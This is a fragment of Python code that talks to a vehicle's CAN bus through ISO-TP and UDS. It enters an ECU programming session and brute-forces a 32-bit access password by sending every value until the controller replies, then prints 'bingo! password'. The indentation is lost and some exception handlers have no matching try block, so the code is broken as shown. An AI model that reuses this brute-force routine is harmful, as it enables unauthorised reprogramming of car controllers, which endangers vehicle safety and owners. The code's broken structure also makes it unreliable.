def send_obd(data):
conn2 = IsoTPSocketConnection('can0',
rxid=0x7E8,
txid=0x700,
params=params)
conn2.tpsock.set_opts(txpad=0x55, tx_stmin=2500000)
conn2.open()
conn2.send(data)
conn2.wait_frame()
conn2.wait_frame()
conn2.close()
def send_raw(data):
global params
conn2 = IsoTPSocketConnection('can0',
rxid=0x7E8,
txid=0x7E0,
params=params)
conn2.tpsock.set_opts(txpad=0x55, tx_stmin=2500000)
conn2.open()
conn2.send(data)
results = conn2.wait_frame()
conn2.close()
if results:
print(str(results))
return results
else:
return data + b'0x00'
print('Server refused our request for service %s with code "%s" (0x%02x)' % (e.response.service.get_name(), e.response.code_name, e.response.code))
except UnexpectedResponseException as e:
print('Server sent an invalid payload : %s' % e.response.original_payload)
except TimeoutException as e:
pass
isotp_socket2 = isotp.socket()
isotp_socket2.set_opts(txpad=CarConfig.TXPADSIZE, rxpad=CarConfig.RXPADSIZE)
conn2 = IsoTPSocketConnection('can0', rxid=0x002, txid=0x001, tpsock=isotp_socket2)
with Client(conn2, request_timeout=2, config=CarConfig.car_client_config) as client:
try:
# programming session enable test
for i in range(0,2):
conn2.send(b'\x00')
conn2.wait_frame(timeout=0.5)
# switch canid for programming
conn2.send(b'\x20\x07\x01\x00\x02\x00')
conn2.wait_frame(timeout=0.5)
conn2.send(b'\x07\x00')
conn2.wait_frame(timeout=0.5)
before_time = time.time()
for cnt in range(0, 0xffffffff):
conn2.send(cnt.to_bytes(4, "big"))
payload = conn2.wait_frame(timeout=0.004)
if payload is not None:
print("bingo! password: %s, payload: %s" % (format(cnt, '#010x'), payload))
sys.exit()